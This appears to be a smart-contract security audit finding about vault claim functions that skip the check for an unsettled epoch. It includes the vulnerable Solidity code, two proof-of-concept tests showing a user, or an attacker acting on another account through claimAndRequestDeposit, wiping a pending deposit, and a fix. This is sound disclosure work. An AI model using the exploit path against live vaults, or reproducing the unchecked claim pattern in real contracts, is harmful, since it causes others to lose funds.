Claim functions don't validate if the epoch is settled
Both claim functions fail to validate if the epoch for the request has been already settled, leading to loss of funds when claiming requests for the current epoch. The issue is worsened as `claimAndRequestDeposit()` can be used to claim a deposit on behalf of any account, allowing an attacker to wipe other's requests.\\nWhen the vault is closed, users can request a deposit, transfer assets and later claim shares, or request a redemption, transfer shares and later redeem assets. Both of these processes store the assets or shares, and later convert these when the epoch is settled. For deposits, the core of the implementation is given by _claimDeposit():\\n```\\nfunction _claimDeposit(\\n    address owner,\\n    address receiver\\n)\\n    internal\\n    returns (uint256 shares)\\n{\\n    shares = previewClaimDeposit(owner);\\n\\n    uint256 lastRequestId = lastDepositRequestId[owner];\\n    uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n    epochs[lastRequestId].depositRequestBalance[owner] = 0;\\n    _update(address(claimableSilo), receiver, shares);\\n    emit ClaimDeposit(lastRequestId, owner, receiver, assets, shares);\\n}\\n\\nfunction previewClaimDeposit(address owner) public view returns (uint256) {\\n    uint256 lastRequestId = lastDepositRequestId[owner];\\n    uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n    return _convertToShares(assets, lastRequestId, Math.Rounding.Floor);\\n}\\n\\nfunction _convertToShares(\\n    uint256 assets,\\n    uint256 requestId,\\n    Math.Rounding rounding\\n)\\n    internal\\n    view\\n    returns (uint256)\\n{\\n    if (isCurrentEpoch(requestId)) {\\n        return 0;\\n    }\\n    uint256 totalAssets =\\n        epochs[requestId].totalAssetsSnapshotForDeposit + 1;\\n    uint256 totalSupply =\\n        epochs[requestId].totalSupplySnapshotForDeposit + 1;\\n\\n    return assets.mulDiv(totalSupply, totalAssets, rounding);\\n}\\n```\\n\\nAnd for redemptions in _claimRedeem():\\n```\\nfunction _claimRedeem(\\n    address owner,\\n    address receiver\\n)\\n    internal\\n    whenNotPaused\\n    returns (uint256 assets)\\n{\\n    assets = previewClaimRedeem(owner);\\n    uint256 lastRequestId = lastRedeemRequestId[owner];\\n    uint256 shares = epochs[lastRequestId].redeemRequestBalance[owner];\\n    epochs[lastRequestId].redeemRequestBalance[owner] = 0;\\n    _asset.safeTransferFrom(address(claimableSilo), address(this), assets);\\n    _asset.transfer(receiver, assets);\\n    emit ClaimRedeem(lastRequestId, owner, receiver, assets, shares);\\n}\\n\\nfunction previewClaimRedeem(address owner) public view returns (uint256) {\\n    uint256 lastRequestId = lastRedeemRequestId[owner];\\n    uint256 shares = epochs[lastRequestId].redeemRequestBalance[owner];\\n    return _convertToAssets(shares, lastRequestId, Math.Rounding.Floor);\\n}\\n\\nfunction _convertToAssets(\\n    uint256 shares,\\n    uint256 requestId,\\n    Math.Rounding rounding\\n)\\n    internal\\n    view\\n    returns (uint256)\\n{\\n    if (isCurrentEpoch(requestId)) {\\n        return 0;\\n    }\\n    uint256 totalAssets = epochs[requestId].totalAssetsSnapshotForRedeem + 1;\\n    uint256 totalSupply = epochs[requestId].totalSupplySnapshotForRedeem + 1;\\n\\n    return shares.mulDiv(totalAssets, totalSupply, rounding);\\n}\\n```\\n\\nNote that in both cases the "preview" functions are used to convert and calculate the amounts owed to the user: `_convertToShares()` and `_convertToAssets()` use the settled values stored in `epochs[requestId]` to convert between assets and shares.\\nHowever, there is no validation to check if the claiming is done for the current unsettled epoch. If a user claims a deposit or redemption during the same epoch it has been requested, the values stored in `epochs[epochId]` will be uninitialized, which means that `_convertToShares()` and `_convertToAssets()` will use zero values leading to zero results too. The claiming process will succeed, but since the converted amounts are zero, the users will always get zero assets or shares.\\nThis is even worsened by the fact that `claimAndRequestDeposit()` can be used to claim a deposit on behalf of any `account`. An attacker can wipe any requested deposit from an arbitrary `account` by simply calling `claimAndRequestDeposit(0, `account`, "")`. This will internally execute `_claimDeposit(account, account)`, which will trigger the described issue.\\nThe following proof of concept demonstrates the scenario in which a user claims their own deposit during the current epoch:\\n```\\nfunction test_ClaimSameEpochLossOfFunds_Scenario_A() public {\\n    asset.mint(alice, 1_000e18);\\n\\n    vm.prank(alice);\\n    vault.deposit(500e18, alice);\\n\\n    // vault is closed\\n    vm.prank(owner);\\n    vault.close();\\n\\n    // alice requests a deposit\\n    vm.prank(alice);\\n    vault.requestDeposit(500e18, alice, alice, "");\\n\\n    // the request is successfully created\\n    assertEq(vault.pendingDepositRequest(alice), 500e18);\\n\\n    // now alice claims the deposit while vault is still open\\n    vm.prank(alice);\\n    vault.claimDeposit(alice);\\n\\n    // request is gone\\n    assertEq(vault.pendingDepositRequest(alice), 0);\\n}\\n```\\n\\nThis other proof of concept illustrates the scenario in which an attacker calls `claimAndRequestDeposit()` to wipe the deposit of another account.\\n```\\nfunction test_ClaimSameEpochLossOfFunds_Scenario_B() public {\\n    asset.mint(alice, 1_000e18);\\n\\n    vm.prank(alice);\\n    vault.deposit(500e18, alice);\\n\\n    // vault is closed\\n    vm.prank(owner);\\n    vault.close();\\n\\n    // alice requests a deposit\\n    vm.prank(alice);\\n    vault.requestDeposit(500e18, alice, alice, "");\\n\\n    // the request is successfully created\\n    assertEq(vault.pendingDepositRequest(alice), 500e18);\\n\\n    // bob can issue a claim for alice through claimAndRequestDeposit()\\n    vm.prank(bob);\\n    vault.claimAndRequestDeposit(0, alice, "");\\n\\n    // request is gone\\n    assertEq(vault.pendingDepositRequest(alice), 0);\\n}\\n```\\n
Check that the epoch associated with the request is not the current epoch.\\n```\\n    function _claimDeposit(\\n        address owner,\\n        address receiver\\n    )\\n        internal\\n        returns (uint256 shares)\\n    {\\n// Add the line below\\n       uint256 lastRequestId = lastDepositRequestId[owner];\\n// Add the line below\\n       if (isCurrentEpoch(lastRequestId)) revert();\\n      \\n        shares = previewClaimDeposit(owner);\\n\\n// Remove the line below\\n       uint256 lastRequestId = lastDepositRequestId[owner];\\n        uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n        epochs[lastRequestId].depositRequestBalance[owner] = 0;\\n        _update(address(claimableSilo), receiver, shares);\\n        emit ClaimDeposit(lastRequestId, owner, receiver, assets, shares);\\n    }\\n```\\n\\n```\\n    function _claimRedeem(\\n        address owner,\\n        address receiver\\n    )\\n        internal\\n        whenNotPaused\\n        returns (uint256 assets)\\n    {\\n// Add the line below\\n       uint256 lastRequestId = lastRedeemRequestId[owner];\\n// Add the line below\\n       if (isCurrentEpoch(lastRequestId)) revert();\\n        \\n        assets = previewClaimRedeem(owner);\\n// Remove the line below\\n       uint256 lastRequestId = lastRedeemRequestId[owner];\\n        uint256 shares = epochs[lastRequestId].redeemRequestBalance[owner];\\n        epochs[lastRequestId].redeemRequestBalance[owner] = 0;\\n        _asset.safeTransferFrom(address(claimableSilo), address(this), assets);\\n        _asset.transfer(receiver, assets);\\n        emit ClaimRedeem(lastRequestId, owner, receiver, assets, shares);\\n    }\\n```\\n
CRITICAL. Requests can be wiped by executing the claim in an unsettled epoch, leading to loss of funds. The issue can also be triggered for any arbitrary account by using `claimAndRequestDeposit()`.
```\\nfunction _claimDeposit(\\n    address owner,\\n    address receiver\\n)\\n    internal\\n    returns (uint256 shares)\\n{\\n    shares = previewClaimDeposit(owner);\\n\\n    uint256 lastRequestId = lastDepositRequestId[owner];\\n    uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n    epochs[lastRequestId].depositRequestBalance[owner] = 0;\\n    _update(address(claimableSilo), receiver, shares);\\n    emit ClaimDeposit(lastRequestId, owner, receiver, assets, shares);\\n}\\n\\nfunction previewClaimDeposit(address owner) public view returns (uint256) {\\n    uint256 lastRequestId = lastDepositRequestId[owner];\\n    uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n    return _convertToShares(assets, lastRequestId, Math.Rounding.Floor);\\n}\\n\\nfunction _convertToShares(\\n    uint256 assets,\\n    uint256 requestId,\\n    Math.Rounding rounding\\n)\\n    internal\\n    view\\n    returns (uint256)\\n{\\n    if (isCurrentEpoch(requestId)) {\\n        return 0;\\n    }\\n    uint256 totalAssets =\\n        epochs[requestId].totalAssetsSnapshotForDeposit + 1;\\n    uint256 totalSupply =\\n        epochs[requestId].totalSupplySnapshotForDeposit + 1;\\n\\n    return assets.mulDiv(totalSupply, totalAssets, rounding);\\n}\\n```\\n